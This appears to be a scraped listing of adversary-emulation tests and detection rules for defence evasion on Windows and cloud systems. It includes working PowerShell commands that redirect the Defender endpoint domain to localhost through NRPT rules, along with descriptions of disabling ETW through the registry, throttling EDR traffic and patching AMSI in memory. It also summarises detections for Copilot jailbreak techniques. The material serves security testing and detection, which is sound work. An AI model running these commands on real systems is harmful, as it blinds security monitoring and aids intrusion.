so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
Attack Commandsrun with powershellelevation required (root or admin)
Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd
windows
command_prompt
—
—
Yes
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.
Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell
windows
powershell
—
—
Yes
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.
Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd
windows
command_prompt
Required
—
Yes
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.
Attack Commandsrun with command_promptelevation required (root or admin)
Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell
windows
powershell
Required
—
Yes
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.
Attack Commandsrun with powershellelevation required (root or admin)
Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table
windows
powershell
Required
—
Yes
Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.
Attack Commandsrun with powershellelevation required (root or admin)
Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache
Cleanup Commands
try {
# Get all current NRPT rules
$DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' }
# Remove each NRPT rule
foreach ($rule in $DnsClientNrptRules) {
Remove-DnsClientNrptRule -Name $rule.Name -Force
}
# Clear DNS client cache
Clear-DnsClientCache
Write-Host "All NRPT rules have been removed and the DNS cache has been cleared."
}
catch {
Write-Host "An error occurred: $_"
}
Clear-DnsClientCache
GUID1174b5df-2c33-490f-8854-f5eb80c907ca
77
Throttle Cybersecurity Agent Network Traffic via QoS Policy
windows
powershell
Required
1
Yes
This test simulates an adversary impairing security agent capabilities by applying Policy-Based Quality of Service (QoS) throttling rules to security agent processes.
Unlike traditional evasion techniques (such as firewall-based blocking or process termination), this approach leverages native Windows functionality to degrade, rather than disable, defensive tooling:
- Uses built-in Windows QoS features to manipulate application bandwidth
- Limits network throughput to extremely low levels (e.g., 8 bits per second)
- Causes security agents to repeatedly time out when attempting to communicate with their cloud backend
As a result, telemetry ingestion, alerting, and remote response capabilities may be significantly degraded, while the agent itself continues to run and appear operational.
This technique is inspired by research from Zero Salarium and the associated EDRChoker tool (https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html), which demonstrates how adversaries can exploit the reliance of modern EDR solutions on persistent, low-latency cloud connectivity to create a temporary loss of visibility without triggering traditional tampering detections.
Inputs
Name
Description
Type
Default Value
process_name
Name of the process to throttle
string
MsSense.exe
throttle_rate
Bandwidth limit in bits per second
integer
8
net_qos_policy_name
Name of the Network QoS Policy to create then delete
string
CyberSecurityAgentThrottlingTest
Attack Commandsrun with powershellelevation required (root or admin)
Write-Host "QoS cmdlets are part of Windows; ensure running on supported version"
GUID7dd05b3e-0803-4852-9345-c494eb3e40fe
78
AMSI Bypass - Patching AmsiScanBuffer
windows
powershell
—
—
—
Patches AmsiScanBuffer in memory using P/Invoke to resolve the function address via
GetModuleHandle/GetProcAddress, then overwrites the prologue with instructions that
return AMSI_RESULT_CLEAN immediately (mov al, 1; ret).
Reference: https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
Detects successful deletion or disabling of an AWS GuardDuty detector, possibly by an attacker trying to avoid detection of its malicious activities. (...)
This analytic detects changes to SNMP community strings on Cisco devices, which could indicate an attacker establishing persistence or attempting to extract credentials. (...)
The following analytic detects modifications to the Windows registry that disable the Antimalware Scan Interface (AMSI) by setting the "AmsiEnable" value to "0x00000000". (...)
The following analytic detects the execution of a command to disable an existing scheduled task using 'schtasks.exe' with the '/change' and '/disable' parameters. (...)
The following analytic detects the modification of the Windows registry to disable the Folder Options feature, which prevents users from showing hidden files and file extensions. (...)
Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.
Detects the disabling of critical encryption enforcement settings on an ESXi host, such as secure boot or executable verification requirements, which may indicate an attempt to weaken hypervisor integrity or allow unauthorized code execution.
This detection identifies when Lockdown Mode is disabled on an ESXi host, which can indicate that a threat actor is attempting to weaken host security controls. (...)
This detection identifies changes to the syslog loghost configuration on an ESXi host, which may indicate an attempt to disrupt log forwarding and evade detection.
The following analytic detects an excessive number of `sc.exe` processes launched with the command line argument `start= disabled` within a short period. (...)
Detects execution of EDR-Freeze, a tool that exploits the MiniDumpWriteDump function and WerFaultSecure.exe to suspend EDR and Antivirus processes on Windows. (...)
Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.
Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.
Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.
Detects agentic AI jailbreak attempts that try to establish persistent control over M365 Copilot through rule injection, universal triggers, response automation, system overrides, and persona establishment techniques. (...)
Detects M365 Copilot impersonation and roleplay jailbreak attempts where users try to manipulate the AI into adopting alternate personas, behaving as unrestricted entities, or impersonating malicious AI systems to bypass safety controls. (...)
Detects M365 Copilot information extraction jailbreak attacks that attempt to obtain sensitive, classified, or comprehensive data through various social engineering techniques including fictional entity impersonation, bulk data requests, and privacy bypass attempts. (...)
Detects M365 Copilot jailbreak attempts through prompt injection techniques including rule manipulation, system bypass commands, and AI impersonation requests that attempt to circumvent built-in safety controls. (...)
Microsoft Intune device management configuration policies are a tool administrators can use to remotely manage policies and settings on intune managed devices. (...)
Detects the use of PowerShell to execute the 'Set-MpPreference' cmdlet to configure Windows Defender's threat severity default action to 'Allow' (value '6') or 'NoAction' (value '9'). (...)
Detects potential abuse of WerFaultSecure.exe to dump Protected Process Light (PPL) processes like LSASS or to freeze security solutions (EDR/antivirus). (...)
Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. (...)
Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. (...)
Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. (...)
Detects process access events where WerFaultSecure accesses MsMpEng.exe with dbgcore.dll or dbghelp.dll in the call trace, indicating potential EDR freeze techniques. (...)
Detects the use of PowerShell with Uninstall-WindowsFeature or Remove-WindowsFeature cmdlets to disable or remove the Windows Defender GUI feature, a common technique used by adversaries to evade defenses.
Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. (...)
Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. (...)
Attackers can craft a custom Windows Defender Application Control (WDAC) policy that blocks Endpoint Detection and Response (EDR) components while allowing their own malicious code. (...)
Detects the loading of dbgcore.dll or dbghelp.dll by WerFaultSecure.exe, which has been observed in EDR-Freeze attacks to suspend processes and evade detection. (...)
Detects registry modifications that add Windows Filtering Platform (WFP) filters, which may be used to block security tools and EDR agents from reporting events.
Detects attempts to add, modify, or delete Windows Credential Guard related registry keys or values via command line tools such as Reg.exe or PowerShell. (...)
The following analytic detects the use of commands to disable Attack Surface Reduction (ASR) rules or change threat default actions in Windows Defender. (...)
The following analytic detects the use of the taskkill command in a process command line to terminate several known browser processes, a technique commonly employed by the Braodo stealer malware to steal credentials. (...)
The following analytic detects the EDRSilencer-specific Windows Filtering Platform filter name "Custom Outbound Filter" when it is configured with a block action. (...)
The following analytic detects Windows Filtering Platform filters that are added and configured to block outbound traffic for known EDR and security agent processes. (...)
Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. (...)
The following analytic detects modifications to the Windows registry specifically targeting the "WppTracingLevel" setting within Windows Defender. (...)
The following analytic detects modifications in the Windows registry by the Applocker utility that deny the execution of various security products. (...)
The following analytic detects modifications in the Windows registry to disable firewall and network protection settings within Windows Defender Security Center. (...)
The following analytic detects modifications to the Windows registry entry "EnableWebContentEvaluation" to disable Windows Defender web content evaluation. (...)
The following analytic detects modifications to the Windows registry that disable Windows Defender's file hash computation by setting the EnableFileHashComputation value to 0. (...)
The following analytic detects modifications to the Windows registry that set the Windows Defender SmartScreen level to "warn." This detection leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ShellSmartScreenLevel registry value. (...)
The following analytic detects the disabling of an AutoLogger session or one of its providers, by identifying changes to the Registry values "Start" and "Enabled" part of the "\WMI\Autologger\" key path. (...)
The following analytic detects the disabling of Windows Defender logging by identifying changes to the Registry keys DefenderApiLogger or DefenderAuditLogger set to disable. (...)
This detection identifies the execution of MpCmdRun.exe with the "-RemoveDefinitions" argument, which is used to remove definitions from the Windows Malware Protection Engine. (...)
The following analytic detects the import of Windows PowerShell Applocker cmdlets, specifically identifying the use of "Import-Module Applocker" and "Set-AppLockerPolicy" with an XML policy. (...)